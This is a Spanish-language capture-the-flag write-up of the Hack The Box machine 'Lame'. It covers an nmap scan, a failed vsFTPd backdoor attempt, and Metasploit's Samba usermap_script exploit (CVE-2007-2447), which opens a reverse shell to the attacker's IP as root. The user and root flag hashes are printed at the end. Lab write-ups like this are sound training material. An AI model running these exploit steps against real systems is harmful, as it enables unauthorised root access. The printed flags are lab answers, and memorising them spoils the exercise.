Hack The Box Easy Target IP: 10.129.28.0

Máquina Lame

Resolución paso a paso de la máquina Lame de Hack The Box. Escaneamos los puertos del sistema para descubrir un servicio FTP vsFTPd 2.3.4 desactualizado y una versión vulnerable de Samba 3.0.20. Tras descartar el backdoor de FTP como una vía bloqueada, explotamos la vulnerabilidad Samba 'username map script' (CVE-2007-2447) para obtener acceso root directo.

#Linux#Samba#FTP#Metasploit#CVE-2007-2447#usermap_script

Fase 1: Reconocimiento (Escaneo de Puertos)

El primer paso es realizar un escaneo completo de los puertos y servicios de la máquina objetivo (IP del Lab: 10.129.28.0) para trazar los posibles vectores de ataque.

Escaneo Completo de Nmap

Ejecutamos un escaneo de puertos TCP completo (-p-), detectando las versiones de los servicios (-sV) y aplicando scripts de enumeración básica (-A), con velocidad agresiva (-T5):

sudo nmap -sV -T5 -A -p- 10.129.28.0
Escaneo inicial de puertos de Nmap
Resultados del escaneo de Nmap sobre el objetivo 10.129.28.0

Resultados Clave de Nmap

El escaneo revela varios puertos abiertos significativos sobre un entorno Linux:

  • Puerto 21 (FTP): Servidor vsFTPd 2.3.4. Permite el inicio de sesión anónimo (Anonymous FTP login allowed).
  • Puerto 22 (SSH): Servidor OpenSSH 4.7p1 Debian 8ubuntu1.
  • Puertos 139 y 445 (SMB): Servidor Samba smbd 3.X - 4.X (específicamente la versión heredada Samba 3.0.20-Debian).
  • Puerto 3632 (distcc): Daemon de compilación distribuida distcc v1.
Información de SMB en Nmap
Información del sistema operativo obtenida mediante el escaneo de Samba

Fase 2: Enumeración y Descarte de Rabbit Holes

El Backdoor de vsFTPd 2.3.4 (CVE-2011-2523)

La versión de FTP identificada (vsFTPd 2.3.4) es famosa en la comunidad de ciberseguridad por contener un backdoor que abre una consola de comandos en el puerto TCP 6200 cuando se inicia sesión con un nombre de usuario que contiene los caracteres :).

Explicación del backdoor de vsFTPd 2.3.4
Detalles del backdoor clásico CVE-2011-2523 en vsFTPd 2.3.4

Intentamos explotar esta vulnerabilidad utilizando el módulo correspondiente de Metasploit:

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.129.28.0
set LHOST 10.10.15.148
run
Fallo de explotación del backdoor vsFTPd
Metasploit detecta el banner vulnerable pero no puede conectar al puerto 6200

Aunque el script de Metasploit detecta el banner de la versión vulnerable, no puede conectarse al puerto 6200. Esto se debe a que las reglas de cortafuegos de la máquina o del laboratorio bloquean las conexiones salientes e interactividad en puertos no estándar. Se trata de un rabbit hole (pista falsa) o un vector inactivo en este escenario.


Fase 3: Explotación del Servidor Samba (CVE-2007-2447)

La Vulnerabilidad ‘username map script’

Dado que FTP no funcionó, pasamos al servicio Samba. La versión expuesta es Samba 3.0.20-Debian. Esta versión es vulnerable a una ejecución remota de comandos no autenticada si se encuentra activa la opción username map script en el archivo de configuración smb.conf.

Esta vulnerabilidad, registrada como CVE-2007-2447, permite inyectar comandos del sistema directamente en el campo del nombre de usuario al realizar la autenticación, los cuales serán ejecutados por el servidor con altos privilegios.

Explicación de CVE-2007-2446/2447
Concepto y alcance de la vulnerabilidad en Samba
Configuración vulnerable de Samba
Directiva username map script que habilita la ejecución remota de comandos

Explotación con Metasploit

Buscamos el exploit en Metasploit y cargamos el módulo correspondiente:

msf > search samba 2447
use exploit/multi/samba/usermap_script
show options
Carga del exploit usermap_script
Selección del módulo usermap_script en Metasploit

Configuramos la IP de la máquina víctima (Lab: 10.129.28.0) y nuestra IP de Kali (LHOST=10.10.15.148):

set RHOSTS 10.129.28.0
set LHOST tun0
exploit
Obtención de la shell reversa en Samba
Conexión establecida y acceso inicial como root mediante Samba

El exploit aprovecha la vulnerabilidad e inyecta una shell reversa. Se abre de inmediato una sesión de terminal interactiva.


Fase 4: Post-Explotación (Obtención de Flags)

¿Por qué no es necesaria la escalada de privilegios?

Dado que el demonio smbd de Samba se ejecuta bajo el contexto de root en el sistema operativo Linux para poder gestionar los archivos de todos los usuarios del sistema, cualquier comando inyectado a través del script de mapeo de nombres de usuario hereda automáticamente los permisos del propietario del proceso.

Al ejecutar el comando whoami en la terminal remota, se nos confirma que ya somos el usuario root:

whoami
Lectura de user.txt y root.txt
Lectura de las banderas de usuario (makis) y administrador en el sistema

Flag de Usuario (user.txt)

Navegamos a los directorios de /home y encontramos el usuario local makis. Accedemos a su escritorio y leemos el archivo correspondiente:

ls /home/
ls /home/makis
cat /home/makis/user.txt
  • Flag de Usuario: 996ef89b49a06b80060c8a8141003972

Flag de Administrador (root.txt)

Nos desplazamos al directorio principal del Administrador /root para leer la flag final de compromiso de la máquina:

ls /root/
cat /root/root.txt
  • Flag de Root: 848b871c3c3682944645bbacdc4f8bda

Fuentes y Referencias